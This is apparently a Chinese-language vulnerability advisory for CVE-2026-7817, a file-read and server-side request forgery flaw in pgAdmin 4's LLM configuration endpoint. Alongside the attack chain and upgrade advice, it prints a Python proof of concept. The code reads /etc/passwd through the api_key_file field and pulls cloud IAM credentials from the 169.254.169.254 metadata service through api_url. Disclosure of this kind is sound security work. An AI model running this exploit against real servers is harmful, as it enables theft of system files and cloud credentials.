IPBUF安全漏洞报告
English
CVE-2026-7817 CVSS 6.5 中危

CVE-2026-7817 pgAdmin4 LLM配置LFI与SSRF漏洞

披露日期: 2026-05-11
来源: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

漏洞信息

漏洞编号
CVE-2026-7817
漏洞类型
本地文件包含 (LFI), 服务端请求伪造 (SSRF)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
pgAdmin 4

相关标签

LFISSRFpgAdmin文件读取内网探测

漏洞概述

pgAdmin 4 版本 9.15 之前的 LLM API 配置端点存在本地文件包含(LFI)和服务器端请求伪造(SSRF)漏洞。由于缺乏对用户输入的验证,经过身份验证的攻击者可利用该漏洞读取服务器上的任意文件,或诱导服务器向内部网络发起请求,从而窃取敏感信息。

技术细节

该漏洞核心在于 pgAdmin 4 处理 LLM(大语言模型)功能时的输入验证缺失。在处理 LLM API 配置端点(聊天及模型列表接口)时,系统未对用户提交的 api_key_file 和 api_url 参数进行安全校验。攻击者在通过低权限认证后,可构造恶意请求。一方面,通过指定 api_key_file 为服务器上 pgAdmin 进程可读的任意路径(如 /etc/passwd 或配置文件),触发本地文件包含(LFI),导致敏感文件泄露。另一方面,通过设置 api_url 为内网地址(如云元数据服务 169.254.169.254),触发服务器端请求伪造(SSRF),诱导服务器向内部目标发起请求,从而可能获取云平台凭证或探测内网资产。

攻击链分析

STEP 1
步骤1
攻击者获取 pgAdmin 4 的低权限用户账号并登录。
STEP 2
步骤2
攻击者访问 LLM 配置相关的 API 端点(如模型列表或聊天路径)。
STEP 3
步骤3
攻击者构造恶意 JSON 数据,将 api_key_file 设置为敏感文件路径(LFI)或将 api_url 设置为内网地址(SSRF)。
STEP 4
步骤4
服务器端接收请求,未经验证直接读取文件或向目标 URL 发起请求。
STEP 5
步骤5
攻击者获取服务器文件内容或内网服务的响应数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-7817 PoC: LFI and SSRF in pgAdmin 4 LLM API # Target: pgAdmin 4 < 9.15 # Requires authentication target_url = "http://target-pgadmin/api/v1/llm/model-list" session_cookie = {"sessionid": "authenticated_session_cookie"} # 1. Exploit LFI: Read arbitrary file (e.g., /etc/passwd) lfi_payload = { "api_url": "http://fake-url.com", "api_key_file": "/etc/passwd" } print("Attempting LFI...") r1 = requests.post(target_url, cookies=session_cookie, json=lfi_payload) print(r1.text) # 2. Exploit SSRF: Access internal metadata service ssrf_payload = { "api_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "api_key_file": "dummy" } print("Attempting SSRF...") r2 = requests.post(target_url, cookies=session_cookie, json=ssrf_payload) print(r2.text)

影响范围

pgAdmin 4 < 9.15

防御指南

临时缓解措施
建议立即升级至 pgAdmin 4 9.15 或更高版本。如无法立即升级,应严格限制对 pgAdmin 管理界面的网络访问,并部署网络策略以防止服务器向内网敏感地址(如 169.254.169.254)发起出站连接。

参考链接